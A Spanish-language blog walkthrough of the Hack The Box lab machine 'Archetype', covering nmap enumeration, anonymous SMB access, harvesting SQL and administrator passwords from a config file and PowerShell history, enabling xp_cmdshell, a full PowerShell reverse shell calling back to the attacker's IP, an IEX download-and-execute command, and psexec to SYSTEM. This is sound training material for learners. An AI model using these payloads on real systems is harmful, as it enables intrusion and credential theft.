Archetype
Para comenzar con esta serie de anotaciones sobre la sección Starting Point arrancaremos con la máquina Archetype. Si no sabes bien de que hablo te recomiendo que primero leas la entrada anterior.
- Máquina: Archetype
- SO: Windows
- IP: 10.10.10.27
Enumeration
Como siempre digo: “primero lo primero“, pues vamos a comenzar a enumerar lo que tiene el equipo objetivo, en este caso vamos a tratar de identificar los puertos abiertos y el software asociado a estos.
Para esto utilizaremos la siempre poderosa herramienta de nmap.
Lo primero que nos recomiendan utilizar son los siguientes dos comandos:
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -sC -sV -p$ports 10.10.10.27
Vamos a revisar la primera linea.
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
La linea anterior crea una variable en bash
llamada ports
en la cual se
almacena el resultado de
nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//
El comando anterior se componen de la salida anidada entre varios comandos,
esto podemos observarlo con el uso de comando1 | comando2
, el cual indica
que la salida del comando1
será la entrada del comando2
.
Separando el comando nos encontramos con:
nmap -p- --min-rate=1000 -T4 10.10.10.27
grep ^[0-9]
:cut -d '/' -f 1
tr '\n' ','
sed s/,$//
Analicemos cada una de las partes.
nmap -p- --min-rate=1000 -T4 10.10.10.27
lo vamos a utilizar para detectar
los puertos abiertos en la máquina a trabajar. Esto se lo indicamos a nmap
con los siguientes parámetros:
-p-
: Indicamos que vamos a escanear todos los puertos de la máquina.--min-rate=1000
: Indicamos que enviaremos al menos 1000 paquetes por segundos para realizar el escaneo.-T4
: Indicamos una plantilla de tiempo. Básicamente le decimos anmap
que haga un análisis agresivo. El modo agresivo hace que los análisis sean más rápidos al asumir que estas en una red razonablemente más rápida y fiable.10.10.10.27
: Indicamos la IP del objetivo, en este caso es la máquina con la que vamos a trabajar.
La salida del comando anterior nos muestra la lista de puertos abiertos como se ve a continuación.
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-06 21:35 CDT
Warning: 10.10.10.27 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.27
Host is up (0.088s latency).
Not shown: 63625 closed ports, 1899 filtered ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 121.13 seconds
La salida anterior la pasamos a grep ^[0-9]
para que nos muestre solamente
el listado de lineas donde aparecen puertos, esto para quitar la información
extra de nmap
. Esto se lo indicamos a grep
utilizando la expresión regular
^[0-9]
la cual especifica que busque las lineas que comienzan con valores
numéricos que van del 0 al 9. La salida es como se muestra a continuación.
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
La salida anterior la pasamos a cut -d '/' -f 1
para que extraiga
exclusivamente el número de los puertos abiertos. Esto se lo indicamos a cut
con los siguientes parámetros:
-d '/'
: Indicamos el carácter delimitador. Esto vendría a ser nuestro carácter para separar la cadena en columna, Algo así como la coma,
de un CSV.-f 1
: Indicamos que retorne o imprima el primer campo de los resultados. En este caso si observamos la salida del comando anterior podemos asumir que las lineas de texto se van a separar en dos columnas debido a que cada linea tiene el carácter/
. El primer campo tendrá el número de puerto y el segundo campo tendrá la descripción del puerto.
La salida del comando anterior es la siguiente:
135
139
445
1433
5985
47001
49664
49665
49666
49667
49668
49669
La salida anterior la pasamos a tr '\n' ','
para eliminar los caracteres
\n
y sustituirlos por una coma ,
. El resultado es el siguiente:
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669,
La salida anterior la pasamos a sed s/,$//
para simplemente extraer la
ultima coma y dejar una lista limpia de puertos abiertos separados por comas.
Esto lo hacemos con la expresión s/,$//
la cual se pasa a sed
que respeta
la sintaxis s/regexp/replacement/flags
. La expresión utilizada busca la
última coma de la linea y la borra.
La salida del comando anterior es la siguiente:
135,139,445,1433,5985,47001,49664,49665,49666,49667,49668,49669
Todo lo anterior es simplemente para entender el primer comando del walk-through que básicamente nos arma una lista de puertos abiertos separados por comas.
Esta lista de puertos quedo almacenada en la variable ports
que vamos a
utilizar en el segundo comando recomendado:
nmap -sC -sV -p$ports 10.10.10.27
El comando anterior realizará un escaneo en los puertos obtenidos del primer
comando. La bandera -sV
indica a nmap
que determine la versión del software
detectado en el puerto. La salida del comando es:
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-06 22:36 CDT
Nmap scan report for 10.10.10.27
Host is up (0.50s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-08-06T09:11:31
|_Not valid after: 2050-08-06T09:11:31
|_ssl-date: 2020-08-07T03:54:35+00:00; +16m19s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 1h40m18s, deviation: 3h07m51s, median: 16m17s
| ms-sql-info:
| 10.10.10.27:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-08-06T20:54:29-07:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-08-07T03:54:26
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.18 seconds
Hasta este momento ya hemos logrado detectar los puertos abiertos así como el software y las versiones que están asociados a estos.
Por ahora el post quedara hasta aquí … tengo hambre y necesito descansar un rato.
Continuación: 2020-08-11
Listo, ya he comido algo (y ya pasaron algunos días), así que podemos continuar.
Retomando, podemos observar que el puerto 445 y el 1433 se encuentran abiertos y están asociados a dos servicios: SMB y SQL Server.
Dado que el protocolo SMB
se utiliza para compartir archivos podemos tratar de
conectarnos de manera anonima en busqueda de archivos interesantes. Para esto
recomiendan utilizar smbclient
la cual es un cliente de conexiones
perteneciente al proyecto
Samba en sistemas tipo Unix
.
El comando recomendado es:
smbclient -N -L \\\\10.10.10.27\\
Los parámetros del comando anterior son:
-N
: Conectar sin contraseña (de manera anónima).-L
: Despliega los resultados en formato de lista.\\\\10.10.10.27\\
: Estamos indicando la máquina a la cual nos vamos a conectar. En este caso nos estamos conectando desde un sistema tipoUnix
a un sistema basado enDOS
por lo cual utilizaremos la sintaxis deDOS
la cual requiere barras invertidas (\
). Al estar en un sistema tipoUnix
tenemos que escapar la barra invertida con una barra invertida (\\\\
), por eso al inicio vemos cuatro barras invertidas y dos al final, en realidad la sintaxis deDOS
lo tomaría como dos barras al inicio y una al final.
El resultado del comando anterior es:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
SMB1 disabled -- no workgroup available
Revisando la salida del comando podemos observar que hay una carpeta interesante
llamada backups
la cual podria contener información interesante. Procederemos
a conectarnos a esa carpeta con el comando recomendado:
smbclient -N \\\\10.10.10.27\\backups
De igual manera que en el comando anterior, nos vamos a conectar sin contraseña
gracias al parámetro -N
y hemos eliminado el parámetro -L
ya que no queremos
ver una lista de resultados si no realizar una conexión directa.
Al conectarnos tendremos una terminal como la siguiente:
Try "help" to get a list of possible commands.
smb: \>
En esta terminal podemos ejecutar comandos básicos, para ver un listado de
estos podemos utilizar help
el cual nos desplegará una salida como la siguiente:
smb: \> help
? allinfo altname archive backup
blocksize cancel case_sensitive cd chmod
chown close del deltree dir
du echo exit get getfacl
geteas hardlink help history iosize
lcd link lock lowercase ls
l mask md mget mkdir
more mput newer notify open
posix posix_encrypt posix_open posix_mkdir posix_rmdir
posix_unlink posix_whoami print prompt put
pwd q queue quit readlink
rd recurse reget rename reput
rm rmdir showacls setea setmode
scopy stat symlink tar tarmode
timeout translate unlock volume vuid
wdel logon listconnect showconnect tcon
tdis tid utimes logoff ..
!
Como el objetivo en este momento es encontrar información de utilidad se nos
recomienda utilizar el comando dir
el cual permite listar el contenido de un
directorio en sistemas basados en DOS
, este caso, el directorio actual.
smb: \> dir
. D 0 Mon Jan 20 06:20:57 2020
.. D 0 Mon Jan 20 06:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 06:23:02 2020
10328063 blocks of size 4096. 8243763 blocks available
Del contenido del directorio podemos observar que solamente existe el archivo
prod.dtsConfig
.
Los archivos con extensión
.dtsConfig
son archivos de configuración con sintaxis XML
utilizados para aplicar
valores de propiedad a los paquetes de
Servicios de Integración de SQL Server (SSIS
). Por lo cual podemos obtener
algo de información de este archivo.
Para ver el contenido del archivo nos recomiendan utilizar el siguiente comando:
smb: \> get prod.dtsConfig
El comando anterior invoca a la herramienta get
la cual se utiliza para
transferir archivos, por lo cual al ejecutarlo vamos a transferir una copia
del archivo prod.dtsConfig
a nuestro equipo. Con el archivo en nuestro equipo
podemos ver su contenido.
De vuelta a nuestro equipo, podemos utilizar el comando cat prod.dtsConfig
el
cual nos arrojara el contenido del archivo.
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Del contenido del archivo anterior nos llaman la atención la siguiente línea:
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
La cadena anterior corresponde a la cadena para una conexión SQL
asociada al
usuario ARCHETYPE\sql_svc
(de Windows
) y su contraseña que es M3g4c0rp123
.
Foothold
Ya tenemos un usuario y contraseña, por lo que podemos intentar dar un primer paso firme hacia nuestra máquina objetivo … peeeeero, eso será después porqué en este momento necesito dejar el post pausado una vez más y conectarme a hacer algunos pendientes del trabajo :)
Continuación: 2020-11-06
Ola k ase … bueno, ya pasaron casi tres meses de que comencé a escribir este texto y pues apenas vamos a darle un cierre haha en realidad hubo muchas cosas que se escribieron en este tiempo pero algunas las borre sin querer y otras estan a medias esperando a ser publicada, en fin, continuemos con lo que toca aquí.
Bien, ya hemos obtenido un usuario y contraseña para una conexión de
SQL Server
de un usuario de Windows
, hay que tener en cuenta que aunque el
usuario es de Windows
la configuración de permisos puede ser diferente dentro de
SQL Server
que en Windows
Para conectar a SQL Server
podemos utilizar impacket el cual es una colección de clases en Python
para
trabajar con protocolos de red.
Para obtener impacket
necesitamos clonarlo de su repositorio de GitHub
ya
que no viene instalado por defecto en nuestro sistema. Clonamos el repo.
git clone https://github.com/SecureAuthCorp/impacket.git
impacket
cuenta con algunos scripts de ejemplo en la carpeta /examples
, de
ahí podemos utilizar mssqlclient.py
el cual sirve para realizar conexiones a
servidores de SQL Server
.
El comando recomendado es:
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth`
Pero en nuestro caso utilizaremos el siguiente:
python3 mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Como podemos ver, hemos mandado mssqlclient.py
directamente a la entrada de
Python3
, y hemos indicado las banderas:
ARCHETYPE/sql_svc
: es el usuario.@10.10.10.27
: es el host o equipo a conectarnos.-windows-auth
: indicamos que nos vamos a autenticar con las credenciales deWindows
.
Al introducir el comando nos va a solicitar la contraseña del usuario, la
obtuvimos anteriormente (M3g4c0rp123
). Se realizará la conexión y se nos
habilitará una terminal de SQL
.
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>
Ya tenemos una conexión en el servidor. Ahora vamos a verificar si tenemos
permisos de administrador. Para esto podemos utilizar la función
IS_SRVROLEMEMBER
la cual nos permite saber si un inicio de sesión de SQL Server
es miembro
de un rol especifico del servidor.
La sintaxis de la función es:
IS_SRVROLEMEMBER ( 'role' [ , 'login' ] )
En la cual tenemos dos argumentos:
role
: indicamos el rol a revisar que puede ser alguno de los siguientes.- sysadmin
- serveradmin
- dbcreator
- setupadmin
- bulkadmin
- securityadmin
- diskadmin
- public
- processadmin
login
: es el nombre del servidorSQL
a revisar, por defecto su valor esNULL
y toma como referencia el servidor en el que hemos iniciado sesión.
Explicado lo anterior, en nuestra sesión de SQL Server
uitlizaremos el
siguiente comando:
SQL> SELECT IS_SRVROLEMEMBER('sysadmin')
Su salida es:
-----------
1
El cual nos da como salida un valor numérico de 1
el cual representa que el
la sesión iniciada es miembro del rol solicitado, osea, tenemos permisos de
sysadmin
en el SQL Server
.
Como tenemos permisos de administrador podemos utilizar algunas herramientas de
configuración del servidor SQL
para habilitar una conexión remota.
Para esto podemos utilizar sp_configure el cual nos permite modificar configuraciones globales del servidor.
Su sintaxis es la siguiente:
sp_configure [ @configname= ] 'hadoop connectivity',
[ @configvalue = ] 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7
Como podemos ver toma dos parámetros, el nombre de la configuración y su valor.
El valor depende directamente de la configuración que estamos modificando. Una
vez que hemos cambiado alguna configuración es necesario utilizar reconfigure;
para que se apliquen los cambios.
Si ejecutamos sp_configure;
podemos ver una lista de configuraciones
disponibles, sin embargo estamos buscando una que nos permita habilitar una
conexión remota. Para esto habilitaremos que se muestren las opciones avanzadas.
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
Al habilitar que nos muestre las opciones avanzadas podremos ver que hay una configuración llamada xp_cmdshell la cual nos permite invocar una terminal de comandos de Windows y enviarle una cadena a ejecutar.
EXEC sp_configure 'xp_cmdshell', 1;
reconfigure;
Ya habilitamos la configuración para utilizar xp_cmdshell
, podemos verificar
los permisos o alcance de nuestra cuenta dentro de Windows
utilizando el
comando whoami
.
xp_cmdshell "whoami"
Su salida es:
output
--------------------------------------------------------------------------------
archetype\sql_svc
NULL
Podemos observar que se nos vuelve a desplegar el usuario archetype\sql_svc
,
esto significa que SQL Server
esta corriendo con ese usuario dentro de
Ẁindows
, y podemos ver un NULL
lo cual significa que no tiene permisos de administrador.
Necesitamos una mejor terminal. Intentemos crear una reverse shell mediante
PowerShell
. Para esto podemos utilizar el siguiente código:
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
La linea anterior es necesario guardarla en un archivo en tu equipo, vamos a
llamar al archivo shell.ps1
.
Ahora que lo hemos guardado en un archivo, solo por no dejar, vamos a expandir la linea anterior, simplemente queremos que se vea un poco mejor lo que hace.
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.3",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
Si observamos, estamos viendo que se crea una conexión a la IP y el puerto especificado, se crea un stream de datos y a partir de aquí se codifica la información para poder enviarla a través de la conexión a una terminal remota.
Recuerden cambiar la dirección IP al de su equipo. Si no conoces tu dirección puedes utilizar el siguiente comando:
ip addr
Con la IP indicada y el archivo creado, desde la terminal nos dirigimos a la
carpeta donde guardaste el archivo. Necesitamos enviar el archivo que esta en
nuestro equipo al servidor SQL
donde nos conectamos para poder ejecutarlo ahí
y crear la reverse shell.
Para esto, vamos a hacer los siguientes pasos:
- Levantaremos un servidor
HTTP
del cual descargaremos el archivo - Configuramos los puertos de escucha para nuestra conexión de la reverse shell
- Configuraremos el firewall para aceptar las dos conexiones anteriores
El primer punto lo haremos utilizando el interprete de python
, con el cual
podemos utilizar la clase http.server
e indicarle el puerto de escucha.
Recuerda que necesitar estar en la carpeta donde guardaste el archivo shell.ps1
.
python3 -m http.server 80
El segundo punto lo podemos hacer utilizando netcat la cual es una herramienta para leer o escribir conexiones de red sobre TCP o UDP.
El comando a utilizar es:
nc -lvnp 443
Los parámetros de netcat
son los siguientes:
l
: modo de escucha, para conexiones entrantesv
: modoverbose
, para ir viendo que suceden
: para trabajar con direcciones IPp
: para indicar el puerto donde estará escuchando la conexión, que es el 443
Para el tercer punto utilizaremos ufw el cual es un firewall con el que vamos a gestionar los puertos.
El comando a utilizar es:
ufw allow from 10.10.10.27 proto tcp to any port 80,443
Con sus comando estamos indicando que permita (allow
) conexiones desde (from
)
la dirección IP 10.10.10.27
que es la que estamos atacando mediante el protocolo
TCP
(proto tcp
) a los puertos 80 y 443 (to any port 80,443
).
Ahora, regresemos a nuestra terminal de SQL
, ahi vamos a utilizar la herramienta
xp_cmdshell
que utilizamos previamente, ahora invocaremos una conexión a nuestro
servidor HTTP
local que nos permita descargar la reverse shell y ejecutarla.
Al ejecutar la reverse shell se creara una conexión a nuestro equipo que sera
aceptada por netcat
y desde ahi ya podremos utilizar la reverse shell.
El comando a utilizar es:
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.3/shell.ps1\");"
Recuerda actualizar tu dirección IP en el comando anterior.
Ya tenemos una reverse shell al usuario en Windows
, podemos proceder a extraer
la bandera de su escritorio. Para esto podemos podemos movernos a su escritorio
con el comando cd
e indicar la ruta.
cd C:\Users\sql_svc\Desktop
Aquí podemos ver que se encuentra el archivo user.txt
el cual contiene la bandera.
# dir
Directory: C:\Users\sql_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/25/2020 6:37 AM 32 user.txt
Le podemos aplicar un type
o un cat
al archivo y listo! Tenemos la primer bandera.
Privilege Escalation
Ya obtuvimos la bandera a nivel de usuario, ahora necesitamos obtener la bandera a nivel administrador.
Sabemos que la cuenta en la que nos encontramos no tiene permisos de administrador
pero que se utiliza como una cuenta para gestionar servicios, esto significa
que en algún momento cuando se levantan los servicios se aplica algún permiso
de administrador. Para conocer en que momento sucede podemos revisar el historial
de comandos de PowerShell
. Para esto podemos utilizar el siguiente comando:
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
La salida del comando anterior nos muestra lo siguiente:
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
Con lo anterior podemos observar que el disco backups
que encontramos al
conectarnos por SMB
fue mapeado con una cuenta local de administrador, y
ahora tenemos su contraseña.
Para conectarnos utlizaremos una versión de PsExec incluida en impacket
.
De igual manera que el comando de mssqlclient
lo invocaremos a traves del
interprete de Python
.
python3 psexec.py administrator@10.10.10.27
Se nos pedirá la contraseña, y después de ingresarla veremos que la conexión es satisfactoria, de tal modo que tenemos una terminal con permisos de administrador.
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file jcWXyjRG.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service UFMW on 10.10.10.27.....
[*] Starting service UFMW.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
Verificamos nuestros permisos:
C:\Windows\system32>whoami
nt authority\system
En efecto, tenemso permisos de administrador, y ahora podemos ir al escritorio del administrador y extraer la última bandera.
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CE13-2325
Directory of C:\Users\Administrator\Desktop
01/20/2020 05:42 AM <DIR> .
01/20/2020 05:42 AM <DIR> ..
02/25/2020 06:36 AM 32 root.txt
1 File(s) 32 bytes
2 Dir(s) 33,818,599,424 bytes free
C:\Users\Administrator\Desktop>type root.txt
Listo! Tenemos las dos banderas de esta máquina!
Fin
Bueno, con eso hemos concluido la revisión del primer walk-through de las
máquinas de introducción de HTB
. Este texto fue un poco más extenso ya que se
fueron expllicando paso a paso cada comando, pero conforme avancemos en las
herramientas y comandos obviaremos los que se hayan explicado previamente.
Espero haya sido de tu agrado y utilidad este texto, y si vas comenzando en estos temas de seguridad, recuerda no rendirte y seguir aprendiendo poco a poco.
Nos vemos en el siguiente texto. Ciao!
#HappyHacking